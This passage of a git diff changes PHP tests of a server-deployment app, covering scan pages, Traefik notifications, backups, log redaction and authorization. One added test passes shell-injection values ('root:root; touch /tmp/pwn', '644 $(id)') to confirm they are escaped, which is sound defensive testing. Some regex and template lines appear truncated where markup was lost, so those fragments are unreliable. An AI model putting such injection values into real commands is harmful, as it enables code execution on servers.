->assertSee('Also blocks critical, high, and counted medium problems that have a fix, and operating systems that no longer get security fixes.') - ->assertDontSee('Alert on'); - }); - it('forbids the instance rules to users who are not instance admins', function () { scanSettingsAs($this->admin, $this->team, 'instance')->assertForbidden(); }); diff --git a/tests/Feature/ImageScan/VulnerabilitiesPageTest.php b/tests/Feature/ImageScan/VulnerabilitiesPageTest.php index 03191417c3..a2a89f5ef8 100644 --- a/tests/Feature/ImageScan/VulnerabilitiesPageTest.php +++ b/tests/Feature/ImageScan/VulnerabilitiesPageTest.php @@ -678,7 +678,7 @@ describe('service page', function () { describe('database page', function () { it('shows the findings of a standalone database', function () { - $database = create_standalone_postgresql($this->environment->id, $this->destination); + $database = create_standalone_postgresql($this->environment->id, $this->destination, databaseImage: 'postgres:16-alpine'); vulnerabilitiesScan($database, [vulnerabilitiesFinding(['package' => 'libpq'])], [ 'image_ref' => 'postgres:16-alpine', 'builds_image' => false, @@ -690,6 +690,19 @@ describe('database page', function () { ->assertSee('libpq') ->assertDontSee('the running image is not the checked image'); }); + + it('says that the scan is of another image when the database image changed', function () { + $database = create_standalone_postgresql($this->environment->id, $this->destination, databaseImage: 'postgres:18-alpine'); + vulnerabilitiesScan($database, [vulnerabilitiesFinding(['package' => 'libpq'])], [ + 'image_ref' => 'postgres:16-alpine', + 'builds_image' => false, + 'summary' => vulnerabilitiesSummary(4), + ]); + + vulnerabilitiesPage($this->admin, $database, 'database') + ->assertSee('libpq') + ->assertSee('the running image is not the checked image'); + }); }); describe('routes', function () { @@ -770,20 +783,6 @@ describe('packages of one image', function () { }); describe('sidebar', function () { - it('names the item Security and shows no count', function () { - vulnerabilitiesScan($this->application, [vulnerabilitiesFinding()], [ - 'summary' => vulnerabilitiesSummary(3), - ]); - $this->actingAs($this->admin); - session(['currentTeam' => $this->team]); - - $this->blade('', [ - 'application' => $this->application->fresh(), - ])->assertSee('menu-item-label">Security<', false) - ->assertDontSee('fixable now') - ->assertDontSee('Vulnerabilities'); - }); - it('shows the dot of the combined status of the service applications and databases', function () { $service = vulnerabilitiesService(); $web = ServiceApplication::forceCreate(['uuid' => (string) Str::uuid(), 'service_id' => $service->id, 'name' => 'web', 'image' => 'nginx:1.27']); diff --git a/tests/Feature/InvitationLinkHandlingTest.php b/tests/Feature/InvitationLinkHandlingTest.php index 31081e7264..2220ed8dff 100644 --- a/tests/Feature/InvitationLinkHandlingTest.php +++ b/tests/Feature/InvitationLinkHandlingTest.php @@ -1,6 +1,5 @@ assertGuest(); }); - -it('declares the magic link method contracts', function () { - $linkReturnType = (new ReflectionMethod(Controller::class, 'link'))->getReturnType(); - $acceptLinkReturnType = (new ReflectionMethod(Controller::class, 'acceptLink'))->getReturnType(); - $credentialsMethod = new ReflectionMethod(Controller::class, 'magicLinkCredentials'); - $isValidReturnType = (new ReflectionMethod(TeamInvitation::class, 'isValid'))->getReturnType(); - - expect((string) $linkReturnType)->toContain('Illuminate\\Contracts\\View\\View') - ->and((string) $linkReturnType)->toContain('Illuminate\\Http\\RedirectResponse') - ->and((string) $acceptLinkReturnType)->toBe('Illuminate\\Http\\RedirectResponse') - ->and($credentialsMethod->getDocComment())->toContain('@return array{0: User, 1: TeamInvitation}|null') - ->and((string) $isValidReturnType)->toBe('bool'); -}); diff --git a/tests/Feature/Jobs/CheckTraefikVersionJobTest.php b/tests/Feature/Jobs/CheckTraefikVersionJobTest.php index 82d92fd198..5183e9563d 100644 --- a/tests/Feature/Jobs/CheckTraefikVersionJobTest.php +++ b/tests/Feature/Jobs/CheckTraefikVersionJobTest.php @@ -1,15 +1,12 @@ toBeTrue(); -}); - -it('server model casts detected_traefik_version as string', function () { - $server = Server::factory()->make(); - - expect($server->getFillable())->toContain('detected_traefik_version'); -}); - -it('notification settings have traefik_outdated fields', function () { - $team = Team::factory()->create(); - - // Check Email notification settings - expect($team->emailNotificationSettings)->toHaveKey('traefik_outdated_email_notifications'); - - // Check Discord notification settings - expect($team->discordNotificationSettings)->toHaveKey('traefik_outdated_discord_notifications'); - - // Check Telegram notification settings - expect($team->telegramNotificationSettings)->toHaveKey('traefik_outdated_telegram_notifications'); - // Thread ids default to null, so check the loaded columns instead of isset(). - expect($team->telegramNotificationSettings->getAttributes())->toHaveKey('telegram_notifications_traefik_outdated_thread_id'); - - // Check Slack notification settings - expect($team->slackNotificationSettings)->toHaveKey('traefik_outdated_slack_notifications'); - - // Check Pushover notification settings - expect($team->pushoverNotificationSettings)->toHaveKey('traefik_outdated_pushover_notifications'); - - // Check Webhook notification settings - expect($team->webhookNotificationSettings)->toHaveKey('traefik_outdated_webhook_notifications'); -}); - it('upstream.json contains traefik branches with patch versions', function () { $versionsPath = base_path('upstream.json'); expect(File::exists($versionsPath))->toBeTrue(); @@ -87,178 +50,6 @@ it('upstream.json contains traefik branches with patch versions', function () { expect($newestBranch)->toBe('3.7'); }); -it('notification class accepts servers collection with outdated info', function () { - $team = Team::factory()->create(); - $server1 = Server::factory()->make([ - 'name' => 'Server 1', - 'team_id' => $team->id, - 'detected_traefik_version' => 'v3.5.0', - ]); - $server1->outdatedInfo = [ - 'current' => '3.5.0', - 'latest' => '3.5.6', - 'type' => 'patch_update', - ]; - - $server2 = Server::factory()->make([ - 'name' => 'Server 2', - 'team_id' => $team->id, - 'detected_traefik_version' => 'v3.4.0', - ]); - $server2->outdatedInfo = [ - 'current' => '3.4.0', - 'latest' => '3.6.0', - 'type' => 'minor_upgrade', - ]; - - $servers = collect([$server1, $server2]); - - $notification = new TraefikVersionOutdated($servers); - - expect($notification->servers)->toHaveCount(2); - expect($notification->servers->first()->outdatedInfo['type'])->toBe('patch_update'); - expect($notification->servers->last()->outdatedInfo['type'])->toBe('minor_upgrade'); -}); - -it('notification channels can be retrieved', function () { - $team = Team::factory()->create(); - - $notification = new TraefikVersionOutdated(collect()); - $channels = $notification->via($team); - - expect($channels)->toBeArray(); -}); - -it('traefik version check command exists', function () { - $commands = Artisan::all(); - - expect($commands)->toHaveKey('traefik:check-version'); -}); - -it('job handles servers with no proxy type', function () { - $team = Team::factory()->create(); - $server = Server::factory()->create([ - 'team_id' => $team->id, - ]); - - // Server without proxy configuration returns null for proxyType() - expect($server->proxyType())->toBeNull(); -}); - -it('sends immediate notifications when outdated traefik is detected', function () { - // Notifications are now sent immediately from CheckTraefikVersionForServerJob - // when outdated Traefik is detected, rather than being aggregated and delayed - $team = Team::factory()->create(); - $server = Server::factory()->make([ - 'name' => 'Server 1', - 'team_id' => $team->id, - ]); - - $server->outdatedInfo = [ - 'current' => '3.5.0', - 'latest' => '3.5.6', - 'type' => 'patch_update', - ]; - - // Each server triggers its own notification immediately - $notification = new TraefikVersionOutdated(collect([$server])); - - expect($notification->servers)->toHaveCount(1); - expect($notification->servers->first()->outdatedInfo['type'])->toBe('patch_update'); -}); - -it('notifies about a Traefik patch update', function () { - $team = Team::factory()->create(); - $team->webhookNotificationSettings()->update([ - 'webhook_enabled' => true, - 'webhook_url' => 'https://example.com/webhook', - ]); - $server = Server::factory()->create(['team_id' => $team->id]); - - $job = new CheckTraefikVersionForServerJob($server, ['v3.7' => '3.7.13']); - (new ReflectionMethod($job, 'storeOutdatedInfo'))->invoke($job, '3.7.7', '3.7.13', 'patch_update'); - - Notification::assertSentTo($team, TraefikVersionOutdated::class); -}); - -it('does not repeat a Traefik patch update notification for the same latest version', function () { - $team = Team::factory()->create(); - $team->webhookNotificationSettings()->update([ - 'webhook_enabled' => true, - 'webhook_url' => 'https://example.com/webhook', - ]); - $server = Server::factory()->create([ - 'team_id' => $team->id, - 'traefik_outdated_info' => [ - 'current' => '3.7.7', - 'latest' => '3.7.13', - 'type' => 'patch_update', - ], - ]); - - $job = new CheckTraefikVersionForServerJob($server, ['v3.7' => '3.7.13']); - (new ReflectionMethod($job, 'storeOutdatedInfo'))->invoke($job, '3.7.7', '3.7.13', 'patch_update'); - - Notification::assertNothingSent(); -}); - -it('notifies again when a newer Traefik patch version is released', function () { - $team = Team::factory()->create(); - $team->webhookNotificationSettings()->update([ - 'webhook_enabled' => true, - 'webhook_url' => 'https://example.com/webhook', - ]); - $server = Server::factory()->create([ - 'team_id' => $team->id, - 'traefik_outdated_info' => [ - 'current' => '3.7.7', - 'latest' => '3.7.13', - 'type' => 'patch_update', - ], - ]); - - $job = new CheckTraefikVersionForServerJob($server, ['v3.7' => '3.7.16']); - (new ReflectionMethod($job, 'storeOutdatedInfo'))->invoke($job, '3.7.7', '3.7.16', 'patch_update'); - - Notification::assertSentTo($team, TraefikVersionOutdated::class); -}); - -it('notifies about Traefik minor updates', function () { - $team = Team::factory()->create(); - $team->webhookNotificationSettings()->update([ - 'webhook_enabled' => true, - 'webhook_url' => 'https://example.com/webhook', - ]); - $server = Server::factory()->create(['team_id' => $team->id]); - - $job = new CheckTraefikVersionForServerJob($server, ['v3.7' => '3.7.13']); - (new ReflectionMethod($job, 'storeOutdatedInfo'))->invoke($job, '3.6.20', '3.7.13', 'minor_upgrade', 'v3.7'); - - Notification::assertCount(1); -}); - -it('does not repeat a Traefik minor update notification when the target is unchanged', function () { - $team = Team::factory()->create(); - $team->webhookNotificationSettings()->update([ - 'webhook_enabled' => true, - 'webhook_url' => 'https://example.com/webhook', - ]); - $server = Server::factory()->create([ - 'team_id' => $team->id, - 'traefik_outdated_info' => [ - 'current' => '3.6.20', - 'latest' => '3.7.13', - 'type' => 'minor_upgrade', - 'upgrade_target' => 'v3.7', - ], - ]); - - $job = new CheckTraefikVersionForServerJob($server, ['v3.7' => '3.7.13']); - (new ReflectionMethod($job, 'storeOutdatedInfo'))->invoke($job, '3.6.20', '3.7.13', 'minor_upgrade', 'v3.7'); - - Notification::assertNothingSent(); -}); - it('notification generates correct server proxy URLs', function () { $team = Team::factory()->create(); $server = Server::factory()->create([ diff --git a/tests/Feature/Jobs/DatabaseBackupJobTest.php b/tests/Feature/Jobs/DatabaseBackupJobTest.php index 20eebb1c0c..50b174d39b 100644 --- a/tests/Feature/Jobs/DatabaseBackupJobTest.php +++ b/tests/Feature/Jobs/DatabaseBackupJobTest.php @@ -318,14 +318,6 @@ test('s3 storage has scheduled backups relationship', function () { expect($s3->scheduledBackups()->count())->toBe(1); }); -test('database backup job escapes the S3 copy destination argument', function () { - $source = file_get_contents(app_path('Jobs/DatabaseBackupJob.php')); - - expect($source)->toContain('$escapedS3Destination = escapeshellarg("temporary/{$bucket}{$this->backup_dir}/");') - ->and($source)->toContain('mc cp{$resolveOptions} {$escapedBackupLocation} {$escapedS3Destination}') - ->and($source)->not->toContain('mc cp $this->backup_location temporary/$bucket{$this->backup_dir}/'); -}); - test('database dump compression uses the helper image and shared CPU setting', function (int $compressionCpuPercentage) { InstanceSettings::unguarded(fn () => InstanceSettings::create(['id' => 0])); $backup = new ScheduledDatabaseBackup(['timeout' => 3600]); diff --git a/tests/Feature/LayoutPopupsBladeDirectiveTest.php b/tests/Feature/LayoutPopupsBladeDirectiveTest.php index 74263ceb6a..eaaff7be9b 100644 --- a/tests/Feature/LayoutPopupsBladeDirectiveTest.php +++ b/tests/Feature/LayoutPopupsBladeDirectiveTest.php @@ -1,10 +1,22 @@ toContain('x-on:show-sponsorship-reminder.window=') - ->not->toContain('$__env->yieldSection()'); +uses(RefreshDatabase::class); + +test('sponsorship reminder listener is not parsed as a blade directive', function () { + InstanceSettings::forceCreate(['id' => 0]); + $team = Team::factory()->create(); + $user = User::factory()->create(); + $team->members()->attach($user->id, ['role' => 'owner']); + $this->actingAs($user); + session(['currentTeam' => $team]); + + Livewire::test(LayoutPopups::class) + ->assertSeeHtml('x-on:show-sponsorship-reminder.window="popups.sponsorship = true; reminders.sponsorship.compact = false"'); }); diff --git a/tests/Feature/Livewire/Fleet/MetricsDataTest.php b/tests/Feature/Livewire/Fleet/MetricsDataTest.php index dcf9728223..d8cab7a713 100644 --- a/tests/Feature/Livewire/Fleet/MetricsDataTest.php +++ b/tests/Feature/Livewire/Fleet/MetricsDataTest.php @@ -267,16 +267,6 @@ it('keys container rows by server so shared container ids do not collide', funct ->assertSeeHtml('wire:key="fleet-container-'.$two->uuid.'-coolify-proxy"'); }); -it('passes the spark time axis to the KPI sparklines on first paint', function () { - $s = metricsServer($this->team, $this->privateKey); - StubMetricsClient::$summaries = [$s->uuid => onlineSummary()]; - - $component = Livewire::test(TestableMetrics::class); - $component->set('chartData', ['sparkCategories' => [1700000100000], 'cpuSpark' => [12.5]]); - - $component->assertSeeHtml('1700000100000'); -}); - it('removes a transferred server on refresh', function () { $server = metricsServer($this->team, $this->privateKey); StubMetricsClient::$summaries = [$server->uuid => onlineSummary()]; diff --git a/tests/Feature/Livewire/SentinelRestoreDefaultsTest.php b/tests/Feature/Livewire/SentinelRestoreDefaultsTest.php index f680c97765..6097130fac 100644 --- a/tests/Feature/Livewire/SentinelRestoreDefaultsTest.php +++ b/tests/Feature/Livewire/SentinelRestoreDefaultsTest.php @@ -69,12 +69,6 @@ it('restores default Sentinel configuration without rotating credentials or disa ->and((bool) $settings->is_sentinel_debug_enabled)->toBeFalse(); }); -it('offers a confirmed restore action and explains what it preserves', function () { - Livewire::test(Sentinel::class, ['server' => $this->server]) - ->assertSee('Restore defaults') - ->assertSee('The Sentinel token and metrics setting will be preserved.'); -}); - it('does not let team members restore Sentinel defaults', function () { $member = User::factory()->create(); $this->server->team->members()->attach($member->id, ['role' => 'member']); diff --git a/tests/Feature/Livewire/ServerTransferUiTest.php b/tests/Feature/Livewire/ServerTransferUiTest.php index 0eac93b141..ba79bdc57a 100644 --- a/tests/Feature/Livewire/ServerTransferUiTest.php +++ b/tests/Feature/Livewire/ServerTransferUiTest.php @@ -60,11 +60,21 @@ test('server transfer page is available in production', function () { }); test('server transfer link is shown to admins in production', function () { + // The sidebar links Transfer only for a validated server, because the transfer runs SSH commands on it. + $this->server->settings->update(['is_reachable' => true, 'is_usable' => true]); + $this->get('/server/'.$this->server->uuid) ->assertOk() ->assertSee('/server/'.$this->server->uuid.'/transfer', escape: false); }); +test('server transfer link is disabled until the server is validated', function () { + $this->get('/server/'.$this->server->uuid) + ->assertOk() + ->assertSee('Transfer') + ->assertDontSee('/server/'.$this->server->uuid.'/transfer', escape: false); +}); + test('taking back a transferred server needs a typed confirmation', function () { app(ServerTransferClaimer::class)->markTransferred($this->server, targetInstanceUrl: 'https://target.example.com'); @@ -161,11 +171,6 @@ test('a team admin cannot start a transfer, because it sends every secret to the expect(data_get($this->server->fresh()->server_metadata, 'migration'))->toBeNull(); }); -test('the transfer confirmation says that locked secrets are sent to the target', function () { - Livewire::test(Transfer::class, ['server_uuid' => $this->server->uuid]) - ->assertSee('every environment variable value, also locked ones'); -}); - test('transfer page shows the error of a failed transfer', function () { $this->server->forceFill(['server_metadata' => ['migration' => [ 'status' => 'failed', diff --git a/tests/Feature/LocalFileVolumePermissionCommandTest.php b/tests/Feature/LocalFileVolumePermissionCommandTest.php new file mode 100644 index 0000000000..b9ba6096b5 --- /dev/null +++ b/tests/Feature/LocalFileVolumePermissionCommandTest.php @@ -0,0 +1,72 @@ + 0]); + config([ + 'app.maintenance.store' => 'array', + 'constants.ssh.mux_enabled' => false, + ]); + + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'private_key_id' => PrivateKey::factory()->create(['team_id' => $team->id])->id, + ]); + $destination = StandaloneDocker::query()->where('server_id', $server->id)->firstOrFail(); + $project = Project::factory()->create(['team_id' => $team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + + $this->service = Service::factory()->create([ + 'environment_id' => $environment->id, + 'server_id' => $server->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + 'docker_compose_raw' => "services:\n app:\n image: nginx:alpine\n", + ]); + $this->serviceApplication = ServiceApplication::create(['name' => 'app', 'service_id' => $this->service->id]); + + Process::fake(fn ($process) => Process::result(output: match (true) { + str_contains(remoteProcessScript($process), 'empty-directory') => remoteFileStatesOutput('missing'), + str_contains(remoteProcessScript($process), 'readlink -f') => 'OK', + default => '', + })); +}); + +test('file storage quotes owner and mode as single command arguments', function () { + $owner = 'root:root; touch /tmp/pwn'; + $mode = '644 $(id)'; + $volume = LocalFileVolume::create([ + 'fs_path' => './config/app.conf', + 'mount_path' => '/etc/app.conf', + 'content' => 'listen 8080;', + 'is_directory' => false, + 'resource_id' => $this->serviceApplication->id, + 'resource_type' => $this->serviceApplication->getMorphClass(), + ])->fresh(); + $volume->forceFill(['chown' => $owner, 'chmod' => $mode])->save(); + + $volume->fresh()->saveStorageOnServer(); + + $file = escapeshellarg($this->service->workdir().'/config/app.conf'); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "\nchown -- ".escapeshellarg($owner)." {$file}\n") + && str_contains(remoteProcessScript($process), "\nchmod -- ".escapeshellarg($mode)." {$file}")); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), "chown {$owner}") + || str_contains(remoteProcessScript($process), "chmod {$mode}")); +}); diff --git a/tests/Feature/LogChannelRedactionTest.php b/tests/Feature/LogChannelRedactionTest.php new file mode 100644 index 0000000000..9a9270ff4f --- /dev/null +++ b/tests/Feature/LogChannelRedactionTest.php @@ -0,0 +1,53 @@ + true, + 'logging.channels.slack.url' => 'https://hooks.slack.invalid/services/test', + 'logging.channels.papertrail.handler_with.host' => '127.0.0.1', + 'logging.channels.papertrail.handler_with.port' => 514, + ]); +}); + +/** + * Runs a record through the processors of the real channel, as Monolog does before a handler writes it. + */ +function logChannelProcessedRecord(string $channel, string $message, array $context = []): LogRecord +{ + $record = new LogRecord(new DateTimeImmutable, $channel, Level::Error, $message, $context); + + foreach (array_reverse(Log::channel($channel)->getLogger()->getProcessors()) as $processor) { + $record = $processor($record); + } + + return $record; +} + +it('redacts secrets in every persistent and remote log channel', function (string $channel) { + $secret = 'coolify-canary-secret-channel'; + + $record = logChannelProcessedRecord($channel, "Deploy failed with password={$secret}", ['token' => $secret, 'user_email' => 'admin@example.com']); + + expect($record->message)->toBe('Deploy failed with password='.REDACTED) + ->and($record->context['token'])->toBe(REDACTED) + ->and($record->context['user_email'])->toBe(REDACTED); +})->with(['stack', 'single', 'daily', 'slack', 'papertrail', 'stderr', 'syslog', 'errorlog', 'scheduled', 'scheduled-errors']); + +it('redacts secrets but keeps email addresses in the audit channel', function () { + $secret = 'coolify-canary-secret-audit-channel'; + + $record = logChannelProcessedRecord('audit', "User changed password={$secret}", ['token' => $secret, 'user_email' => 'admin@example.com']); + + expect($record->message)->toBe('User changed password='.REDACTED) + ->and($record->context['token'])->toBe(REDACTED) + ->and($record->context['user_email'])->toBe('admin@example.com'); +}); + +it('writes the default stack to the single channel at debug level', function () { + expect(config('logging.channels.stack.channels'))->toBe(['single']) + ->and(config('logging.channels.single.level'))->toBe('debug'); +}); diff --git a/tests/Feature/MassAssignmentProtectionTest.php b/tests/Feature/MassAssignmentProtectionTest.php index 1a225b2359..367665ab13 100644 --- a/tests/Feature/MassAssignmentProtectionTest.php +++ b/tests/Feature/MassAssignmentProtectionTest.php @@ -55,26 +55,6 @@ describe('mass assignment protection', function () { * flows (see tests/Unit/ModelFillableRegressionTest.php). API controllers reject * them through their allowed-field lists, so only the primary key stays guarded. */ - test('Application model blocks mass assignment of its primary key', function () { - $application = new Application; - $dangerousFields = ['id', 'team_id']; - - foreach ($dangerousFields as $field) { - expect($application->isFillable($field)) - ->toBeFalse("Application model should not allow mass assignment of '{$field}'"); - } - }); - - test('Application model allows mass assignment of user-facing fields', function () { - $application = new Application; - $userFields = ['name', 'description', 'git_repository', 'git_branch', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'health_check_path', 'limits_memory', 'status']; - - foreach ($userFields as $field) { - expect($application->isFillable($field)) - ->toBeTrue("Application model should allow mass assignment of '{$field}'"); - } - }); - test('Server model has $fillable and no conflicting $guarded', function () { $server = new Server; $fillable = $server->getFillable(); @@ -105,14 +85,6 @@ describe('mass assignment protection', function () { expect($user->isFillable('two_factor_recovery_codes'))->toBeFalse('two_factor_recovery_codes should not be fillable'); }); - test('User model allows mass assignment of profile fields', function () { - $user = new User; - - expect($user->isFillable('name'))->toBeTrue(); - expect($user->isFillable('email'))->toBeTrue(); - expect($user->isFillable('password'))->toBeTrue(); - }); - test('Team model blocks mass assignment of internal fields', function () { $team = new Team; @@ -121,16 +93,6 @@ describe('mass assignment protection', function () { expect($team->isFillable('resend_api_key'))->toBeFalse('resend_api_key should not be fillable (migrated to EmailNotificationSettings)'); }); - test('Team model allows mass assignment of expected fields', function () { - $team = new Team; - - expect($team->isFillable('name'))->toBeTrue(); - expect($team->isFillable('description'))->toBeTrue(); - expect($team->isFillable('personal_team'))->toBeTrue(); - expect($team->isFillable('show_boarding'))->toBeTrue(); - expect($team->isFillable('custom_server_limit'))->toBeTrue(); - }); - test('standalone database models block mass assignment of their primary key', function () { $models = [ StandalonePostgresql::class, @@ -155,76 +117,6 @@ describe('mass assignment protection', function () { } }); - test('standalone database models allow mass assignment of config fields', function () { - $model = new StandalonePostgresql; - expect($model->isFillable('name'))->toBeTrue(); - expect($model->isFillable('postgres_user'))->toBeTrue(); - expect($model->isFillable('postgres_password'))->toBeTrue(); - expect($model->isFillable('image'))->toBeTrue(); - expect($model->isFillable('limits_memory'))->toBeTrue(); - - $model = new StandaloneRedis; - expect($model->isFillable('redis_conf'))->toBeTrue(); - - $model = new StandaloneMysql; - expect($model->isFillable('mysql_root_password'))->toBeTrue(); - - $model = new StandaloneMongodb; - expect($model->isFillable('mongo_initdb_root_username'))->toBeTrue(); - }); - - test('standalone database models allow mass assignment of public_port_timeout', function () { - $models = [ - StandalonePostgresql::class, - StandaloneRedis::class, - StandaloneMysql::class, - StandaloneMariadb::class, - StandaloneMongodb::class, - StandaloneKeydb::class, - StandaloneDragonfly::class, - StandaloneClickhouse::class, - ]; - - foreach ($models as $modelClass) { - $model = new $modelClass; - expect($model->isFillable('public_port_timeout')) - ->toBeTrue("{$modelClass} should allow mass assignment of 'public_port_timeout'"); - } - }); - - test('standalone database models allow mass assignment of SSL fields where applicable', function () { - $sslModels = [ - StandalonePostgresql::class, - StandaloneMysql::class, - StandaloneMariadb::class, - StandaloneMongodb::class, - StandaloneRedis::class, - StandaloneKeydb::class, - StandaloneDragonfly::class, - ]; - - foreach ($sslModels as $modelClass) { - $model = new $modelClass; - expect($model->isFillable('enable_ssl')) - ->toBeTrue("{$modelClass} should allow mass assignment of 'enable_ssl'"); - } - - // Clickhouse has no SSL columns - expect((new StandaloneClickhouse)->isFillable('enable_ssl'))->toBeFalse(); - - $sslModeModels = [ - StandalonePostgresql::class, - StandaloneMysql::class, - StandaloneMongodb::class, - ]; - - foreach ($sslModeModels as $modelClass) { - $model = new $modelClass; - expect($model->isFillable('ssl_mode')) - ->toBeTrue("{$modelClass} should allow mass assignment of 'ssl_mode'"); - } - }); - test('Application fill ignores non-fillable fields', function () { $application = new Application; $application->fill([ diff --git a/tests/Feature/MutableLivewireComponentsAuthorizationTest.php b/tests/Feature/MutableLivewireComponentsAuthorizationTest.php index 92a0f745bb..968dc94738 100644 --- a/tests/Feature/MutableLivewireComponentsAuthorizationTest.php +++ b/tests/Feature/MutableLivewireComponentsAuthorizationTest.php @@ -1,9 +1,28 @@ actingAs($user); + session(['currentTeam' => test()->team]); +} - foreach (['mobile', 'desktop'] as $viewport) { - expect($source)->toMatch( - "/@can\\('{$ability}', \\$".$resource."\\)[\\s\\S]*?with([ - 'application actions' => ['views/livewire/project/application/heading.blade.php', 'deploy', 'application', 'application'], - 'service actions' => ['views/livewire/project/service/heading.blade.php', 'deploy', 'service', 'service'], - 'database actions' => ['views/livewire/project/database/heading.blade.php', 'manage', 'database', 'database'], - 'server actions' => ['views/livewire/server/navbar.blade.php', 'manageProxy', 'server', 'server'], -]); +describe('mutating Livewire actions', function () { + beforeEach(function () { + Server::flushIdentityMap(); + Queue::fake(); + InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0])); -it('declares deploy authorization on the application stop confirmation', function () { - $source = file_get_contents(resource_path('views/livewire/project/application/heading.blade.php')); + $this->team = Team::factory()->create(); + $this->admin = User::factory()->create(); + $this->admin->teams()->attach($this->team, ['role' => 'admin']); + $this->member = User::factory()->create(); + $this->member->teams()->attach($this->team, ['role' => 'member']); - expect($source)->toMatch( - '/create(['team_id' => $this->team->id]); + $server = Server::factory()->create(['team_id' => $this->team->id, 'private_key_id' => $privateKey->id]); + $destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); + $project = Project::factory()->create(['team_id' => $this->team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + $this->application = Application::factory()->create([ + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); + $this->volume = LocalPersistentVolume::create([ + 'name' => 'app-data', + 'mount_path' => '/data', + 'resource_id' => $this->application->id, + 'resource_type' => $this->application->getMorphClass(), + ]); + $this->database = StandalonePostgresql::create([ + 'name' => 'pg', + 'image' => 'postgres:16-alpine', + 'postgres_user' => 'postgres', + 'postgres_password' => 'password', + 'postgres_db' => 'postgres', + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); + $this->storage = S3Storage::create([ + 'name' => 'Team S3', + 'region' => 'us-east-1', + 'key' => 'key', + 'secret' => 'secret', + 'bucket' => 'backups', + 'endpoint' => 'https://s3.example.com', + 'is_usable' => true, + 'team_id' => $this->team->id, + ]); + $this->databaseBackup = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => $this->storage->id, + 'database_type' => $this->database->getMorphClass(), + 'database_id' => $this->database->id, + 'team_id' => $this->team->id, + ]); + }); + + it('forbids members from removing an S3 storage from a backup schedule', function () { + actAsMutableComponentUser($this->member); + + Livewire::test(StorageResources::class, ['storage' => $this->storage]) + ->call('disableS3', $this->databaseBackup->id) + ->assertForbidden(); + + expect($this->databaseBackup->refresh()->save_s3)->toBeTruthy() + ->and($this->databaseBackup->s3_storage_id)->toBe($this->storage->id); + }); + + it('lets admins remove an S3 storage from a backup schedule', function () { + actAsMutableComponentUser($this->admin); + + Livewire::test(StorageResources::class, ['storage' => $this->storage]) + ->call('disableS3', $this->databaseBackup->id) + ->assertDispatched('success'); + + expect($this->databaseBackup->refresh()->save_s3)->toBeFalsy() + ->and($this->databaseBackup->s3_storage_id)->toBeNull(); + }); + + it('forbids users of another team from opening the storage resources', function () { + $outsider = User::factory()->create(); + $otherTeam = Team::factory()->create(); + $outsider->teams()->attach($otherTeam, ['role' => 'owner']); + $this->actingAs($outsider); + session(['currentTeam' => $otherTeam]); + + Livewire::test(StorageResources::class, ['storage' => $this->storage]) + ->assertForbidden(); + }); + + it('does not save or delete a Postgres init script for members', function (string $action) { + actAsMutableComponentUser($this->member); + + Livewire::test(InitScript::class, [ + 'database' => $this->database, + 'script' => ['index' => 0, 'filename' => 'init.sql', 'content' => 'SELECT 1;'], + ]) + ->call($action) + ->assertDispatched('error') + ->assertNotDispatched('save_init_script') + ->assertNotDispatched('delete_init_script'); + })->with(['submit', 'delete']); + + it('saves and deletes a Postgres init script for admins', function (string $action, string $event) { + actAsMutableComponentUser($this->admin); + + Livewire::test(InitScript::class, [ + 'database' => $this->database, + 'script' => ['index' => 0, 'filename' => 'init.sql', 'content' => 'SELECT 1;'], + ]) + ->call($action) + ->assertDispatched($event) + ->assertNotDispatched('error'); + })->with([ + 'submit' => ['submit', 'save_init_script'], + 'delete' => ['delete', 'delete_init_script'], + ]); + + it('forbids members from changing a volume backup schedule', function (string $action) { + actAsMutableComponentUser($this->member); + + Livewire::test(VolumeBackups::class, ['storage' => $this->volume, 'resource' => $this->application]) + ->call($action) + ->assertForbidden(); + + expect(ScheduledVolumeBackup::count())->toBe(0); + Queue::assertNothingPushed(); + })->with(['save', 'toggleEnabled', 'backupNow']); + + it('lets admins change a volume backup schedule', function (string $action) { + actAsMutableComponentUser($this->admin); + + Livewire::test(VolumeBackups::class, ['storage' => $this->volume, 'resource' => $this->application]) + ->call($action) + ->assertSuccessful(); + + expect(ScheduledVolumeBackup::count())->toBe(1); + })->with(['save', 'toggleEnabled', 'backupNow']); }); - -it('declares deploy authorization on the service container removal confirmation', function () { - $source = file_get_contents(resource_path('views/livewire/project/service/heading.blade.php')); - - expect($source)->toMatch( - '/]*title="Confirm Container Removal\?")(?=[^>]*canGate="deploy")(?=[^>]*:canResource="\$service")[^>]*>/' - ); -}); - -it('declares update authorization on application and service domain removal confirmations', function () { - $applicationRow = file_get_contents(resource_path('views/livewire/project/application/partials/domain-row.blade.php')); - $serviceTable = file_get_contents(resource_path('views/livewire/project/service/partials/domain-table.blade.php')); - - expect($applicationRow)->toMatch( - '/]*title="Remove domain\?")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$application")[^>]*>/' - ); - - expect($serviceTable)->toMatch( - '/]*title="Remove domain\?")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$service")[^>]*>/' - ); -}); - -it('declares update authorization on service backup mutation controls', function () { - $importBackupView = file_get_contents(resource_path('views/livewire/project/service/import-backup.blade.php')); - $volumeBackupView = file_get_contents(resource_path('views/livewire/project/service/volume-backup/index.blade.php')); - - expect($importBackupView)->toMatch( - '/]*id="selectedDatabaseUuid")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$service")[^>]*>/' - ); - - expect($volumeBackupView) - ->toMatch('/]*:title="\'Edit backup schedule\'")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$service")[^>]*>/') - ->toMatch('/@can\(\'update\', \$service\)\s*toMatch('/@can\(\'update\', \$service\)\s*toMatch('/]*canGate="update")(?=[^>]*:canResource="\$application")[^>]*>\s*Cancel/s') - 